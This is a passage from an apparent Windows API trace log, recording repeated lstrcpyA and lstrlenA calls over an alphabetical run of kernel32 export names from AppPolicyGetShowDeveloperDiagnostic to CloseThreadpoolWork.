lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0121.556] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0121.556] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0121.556] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0121.556] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0121.556] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0121.556] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0121.556] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0121.556] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0121.556] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0121.556] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0121.557] lstrlenA (lpString="BACKUPREAD") returned 10 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0121.557] lstrlenA (lpString="BACKUPSEEK") returned 10 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0121.557] lstrlenA (lpString="BACKUPWRITE") returned 11 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0121.557] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0121.557] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0121.557] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0121.557] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0121.557] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0121.557] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0121.557] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0121.557] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0121.557] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0121.557] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0121.557] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0121.557] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0121.557] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0121.557] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0121.557] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0121.558] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0121.558] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0121.558] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0121.558] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0121.558] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0121.558] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0121.558] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0121.558] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0121.558] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0121.558] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0121.558] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0121.558] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0121.558] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0121.558] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0121.558] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0121.558] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0121.558] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0121.558] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0121.559] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0121.559] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0121.559] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0121.559] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0121.559] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0121.559] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0121.559] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0121.559] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0121.559] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0121.559] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0121.559] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0121.559] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0121.559] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0121.559] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0121.559] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0121.559] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0121.559] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0121.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0121.560] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0121.560] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0121.560] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0121.560] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0121.560] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0121.560] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0121.560] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0121.560] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0121.560] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0121.560] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0121.560] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0121.560] lstrlenA (lpString="BEEP") returned 4 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0121.560] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0121.560] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0121.560] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0121.560] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0121.560] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0121.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0121.561] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0121.561] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0121.561] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0121.561] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0121.561] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0121.561] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0121.561] lstrlenA (lpString="CANCELIO") returned 8 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0121.561] lstrlenA (lpString="CANCELIOEX") returned 10 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0121.561] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0121.561] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0121.561] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0121.561] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0121.561] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0121.561] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0121.561] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0121.561] lstrlenA (lpString="CHECKELEVATION") returned 14 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0121.561] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0121.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0121.561] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0121.562] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0121.562] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0121.562] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0121.562] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0121.562] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0121.562] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0121.562] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0121.562] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0121.562] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0121.562] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0121.562] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0121.562] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0121.562] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0121.562] lstrlenA (lpString="CLOSESTATE") returned 10 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0121.562] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0121.562] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0121.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0121.562] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0121.563] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0121.563] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0121.563] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0121.563] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0121.563] lstrcpyA (in: lpString1=0x38bdb2c, 